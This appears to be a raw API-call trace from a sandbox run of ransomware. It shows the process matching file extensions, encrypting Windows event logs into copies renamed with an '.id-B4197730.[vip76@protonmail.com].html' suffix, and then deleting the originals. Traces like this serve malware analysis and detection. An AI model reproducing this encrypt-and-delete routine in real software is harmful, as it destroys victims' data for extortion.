	[0074.009] lstrlenW (lpString=".1cd") returned 4
	[0074.009] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0074.009] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0074.009] lstrlenW (lpString=".jpg") returned 4
	[0074.009] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0074.009] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0074.009] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0074.009] lstrlenW (lpString=".doc") returned 4
	[0074.009] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0074.009] lstrlenW (lpString=".docx") returned 5
	[0074.009] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0074.009] lstrlenW (lpString=".pdf") returned 4
	[0074.009] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0074.009] lstrlenW (lpString=".xls") returned 4
	[0074.009] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0074.009] lstrlenW (lpString=".xlsx") returned 5
	[0074.009] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0074.010] lstrlenW (lpString=".ppt") returned 4
	[0074.010] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0074.010] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0074.010] lstrlenW (lpString=".zip") returned 4
	[0074.010] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0074.010] lstrlenW (lpString=".rar") returned 4
	[0074.010] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0074.010] lstrlenW (lpString=".bz2") returned 4
	[0074.010] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0074.010] lstrlenW (lpString=".7z") returned 3
	[0074.010] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0074.010] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0074.011] lstrlenW (lpString=".dbf") returned 4
	[0074.011] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0074.011] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0074.011] lstrlenW (lpString=".1cd") returned 4
	[0074.011] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0074.011] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Diagnostics-Performance%4Operational.evtx") returned 67
	[0074.011] lstrlenW (lpString=".jpg") returned 4
	[0074.011] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0074.012] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0074.012] lstrlenW (lpString="Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 47
	[0074.012] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0074.012] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=69632) returned 1
	[0074.012] CloseHandle (hObject=0x364) returned 1
	[0074.012] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 0x20
	[0074.012] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0074.013] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0074.013] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.013] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.013] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0074.013] GetLastError () returned 0x0
	[0074.013] ReadFile (in: hFile=0x364, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0074.015] WriteFile (in: hFile=0x33c, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0074.017] ReadFile (in: hFile=0x364, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.017] WriteFile (in: hFile=0x33c, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x132, lpOverlapped=0x0) returned 1
	[0074.018] SetEndOfFile (hFile=0x33c) returned 1
	[0074.018] CloseHandle (hObject=0x33c) returned 1
	[0074.020] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.020] SetEndOfFile (hFile=0x364) returned 1
	[0074.021] CloseHandle (hObject=0x364) returned 1
	[0074.021] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0074.021] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-grouppolicy%4operational.evtx")) returned 1
	[0074.022] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0074.022] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0074.022] lstrlenW (lpString=".doc") returned 4
	[0074.022] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0074.022] lstrlenW (lpString=".docx") returned 5
	[0074.022] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0074.022] lstrlenW (lpString=".pdf") returned 4
	[0074.022] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0074.022] lstrlenW (lpString=".xls") returned 4
	[0074.022] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0074.022] lstrlenW (lpString=".xlsx") returned 5
	[0074.022] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0074.022] lstrlenW (lpString=".ppt") returned 4
	[0074.022] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0074.022] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0074.022] lstrlenW (lpString=".zip") returned 4
	[0074.022] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0074.022] lstrlenW (lpString=".rar") returned 4
	[0074.022] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0074.022] lstrlenW (lpString=".bz2") returned 4
	[0074.022] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0074.022] lstrlenW (lpString=".7z") returned 3
	[0074.022] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0074.022] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0074.022] lstrlenW (lpString=".dbf") returned 4
	[0074.022] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0074.022] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0074.022] lstrlenW (lpString=".1cd") returned 4
	[0074.022] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0074.022] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0074.022] lstrlenW (lpString=".jpg") returned 4
	[0074.022] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0074.022] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0074.023] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0074.023] lstrlenW (lpString=".doc") returned 4
	[0074.023] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0074.023] lstrlenW (lpString=".docx") returned 5
	[0074.023] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0074.023] lstrlenW (lpString=".pdf") returned 4
	[0074.023] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0074.023] lstrlenW (lpString=".xls") returned 4
	[0074.023] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0074.023] lstrlenW (lpString=".xlsx") returned 5
	[0074.023] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0074.023] lstrlenW (lpString=".ppt") returned 4
	[0074.023] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0074.023] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0074.023] lstrlenW (lpString=".zip") returned 4
	[0074.023] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0074.023] lstrlenW (lpString=".rar") returned 4
	[0074.023] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0074.023] lstrlenW (lpString=".bz2") returned 4
	[0074.023] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0074.023] lstrlenW (lpString=".7z") returned 3
	[0074.023] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0074.023] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0074.023] lstrlenW (lpString=".dbf") returned 4
	[0074.023] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0074.023] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0074.023] lstrlenW (lpString=".1cd") returned 4
	[0074.023] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0074.023] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-GroupPolicy%4Operational.evtx") returned 55
	[0074.023] lstrlenW (lpString=".jpg") returned 4
	[0074.023] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0074.024] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0074.024] lstrlenW (lpString="Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 47
	[0074.024] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0074.025] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=69632) returned 1
	[0074.025] CloseHandle (hObject=0x364) returned 1
	[0074.025] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 0x20
	[0074.025] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0074.026] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0074.026] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.026] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.026] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0074.026] GetLastError () returned 0x0
	[0074.026] ReadFile (in: hFile=0x364, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0074.028] WriteFile (in: hFile=0x33c, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0074.030] ReadFile (in: hFile=0x364, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.030] WriteFile (in: hFile=0x33c, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x132, lpOverlapped=0x0) returned 1
	[0074.030] SetEndOfFile (hFile=0x33c) returned 1
	[0074.031] CloseHandle (hObject=0x33c) returned 1
	[0074.033] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.033] SetEndOfFile (hFile=0x364) returned 1
	[0074.034] CloseHandle (hObject=0x364) returned 1
	[0074.034] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0074.034] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-hotspotauth%4operational.evtx")) returned 1
	[0074.035] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0074.035] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0074.035] lstrlenW (lpString=".doc") returned 4
	[0074.035] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0074.035] lstrlenW (lpString=".docx") returned 5
	[0074.035] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0074.035] lstrlenW (lpString=".pdf") returned 4
	[0074.035] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0074.035] lstrlenW (lpString=".xls") returned 4
	[0074.035] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0074.035] lstrlenW (lpString=".xlsx") returned 5
	[0074.035] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0074.035] lstrlenW (lpString=".ppt") returned 4
	[0074.035] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0074.035] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0074.035] lstrlenW (lpString=".zip") returned 4
	[0074.035] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0074.035] lstrlenW (lpString=".rar") returned 4
	[0074.035] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0074.035] lstrlenW (lpString=".bz2") returned 4
	[0074.035] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0074.035] lstrlenW (lpString=".7z") returned 3
	[0074.035] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0074.035] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0074.035] lstrlenW (lpString=".dbf") returned 4
	[0074.035] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0074.035] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0074.035] lstrlenW (lpString=".1cd") returned 4
	[0074.035] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0074.036] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0074.036] lstrlenW (lpString=".jpg") returned 4
	[0074.036] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0074.036] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0074.036] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0074.036] lstrlenW (lpString=".doc") returned 4
	[0074.036] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0074.036] lstrlenW (lpString=".docx") returned 5
	[0074.036] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0074.036] lstrlenW (lpString=".pdf") returned 4
	[0074.036] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0074.036] lstrlenW (lpString=".xls") returned 4
	[0074.036] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0074.036] lstrlenW (lpString=".xlsx") returned 5
	[0074.036] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0074.036] lstrlenW (lpString=".ppt") returned 4
	[0074.036] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0074.036] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0074.036] lstrlenW (lpString=".zip") returned 4
	[0074.036] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0074.036] lstrlenW (lpString=".rar") returned 4
	[0074.036] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0074.036] lstrlenW (lpString=".bz2") returned 4
	[0074.036] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0074.036] lstrlenW (lpString=".7z") returned 3
	[0074.036] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0074.036] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0074.036] lstrlenW (lpString=".dbf") returned 4
	[0074.036] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0074.037] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0074.037] lstrlenW (lpString=".1cd") returned 4
	[0074.037] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0074.037] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-HotspotAuth%4Operational.evtx") returned 55
	[0074.037] lstrlenW (lpString=".jpg") returned 4
	[0074.037] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0074.037] lstrcmpiW (lpString1=".evtx", lpString2=".html") returned -1
	[0074.037] lstrlenW (lpString="Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 51
	[0074.037] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0074.037] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2fdff14 | out: lpFileSize=0x2fdff14*=69632) returned 1
	[0074.037] CloseHandle (hObject=0x364) returned 1
	[0074.037] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 0x20
	[0074.037] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0074.037] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0074.038] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.038] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.038] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0074.652] GetLastError () returned 0x0
	[0074.652] ReadFile (in: hFile=0x364, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x11000, lpOverlapped=0x0) returned 1
	[0074.655] WriteFile (in: hFile=0x2c0, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x11010, lpOverlapped=0x0) returned 1
	[0074.657] ReadFile (in: hFile=0x364, lpBuffer=0x3ac3020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fdfecc, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesRead=0x2fdfecc*=0x0, lpOverlapped=0x0) returned 1
	[0074.657] WriteFile (in: hFile=0x2c0, lpBuffer=0x3ac3020*, nNumberOfBytesToWrite=0x13a, lpNumberOfBytesWritten=0x2fdfc94, lpOverlapped=0x0 | out: lpBuffer=0x3ac3020*, lpNumberOfBytesWritten=0x2fdfc94*=0x13a, lpOverlapped=0x0) returned 1
	[0074.658] SetEndOfFile (hFile=0x2c0) returned 1
	[0074.658] CloseHandle (hObject=0x2c0) returned 1
	[0074.661] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fdfec0 | out: lpNewFilePointer=0x0) returned 1
	[0074.661] SetEndOfFile (hFile=0x364) returned 1
	[0074.662] CloseHandle (hObject=0x364) returned 1
	[0074.663] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0074.663] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx")) returned 1
	[0074.682] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0074.682] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0074.682] lstrlenW (lpString=".doc") returned 4
	[0074.682] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0074.682] lstrlenW (lpString=".docx") returned 5
	[0074.682] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0074.682] lstrlenW (lpString=".pdf") returned 4
	[0074.682] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0074.682] lstrlenW (lpString=".xls") returned 4
	[0074.682] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0074.682] lstrlenW (lpString=".xlsx") returned 5
	[0074.682] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0074.682] lstrlenW (lpString=".ppt") returned 4
	[0074.682] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0074.682] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0074.682] lstrlenW (lpString=".zip") returned 4
	[0074.682] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0074.682] lstrlenW (lpString=".rar") returned 4
	[0074.682] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0074.682] lstrlenW (lpString=".bz2") returned 4
	[0074.682] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0074.682] lstrlenW (lpString=".7z") returned 3
	[0074.682] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0074.683] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0074.683] lstrlenW (lpString=".dbf") returned 4
	[0074.683] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0074.683] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0074.683] lstrlenW (lpString=".1cd") returned 4
	[0074.683] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0074.683] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0074.683] lstrlenW (lpString=".jpg") returned 4
	[0074.683] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0074.683] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0074.683] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx") returned 59
	[0074.683] lstrlenW (lpString=".doc") returned 4
	[0074.683] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0074.683] lstrlenW (lpString=".docx") returned 5
	[0074.683] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0074.683] lstrlenW (lpString=".pdf") returned 4
	[0074.683] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0074.683] lstrlenW (lpString=".xls") returned 4
	[0074.683] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
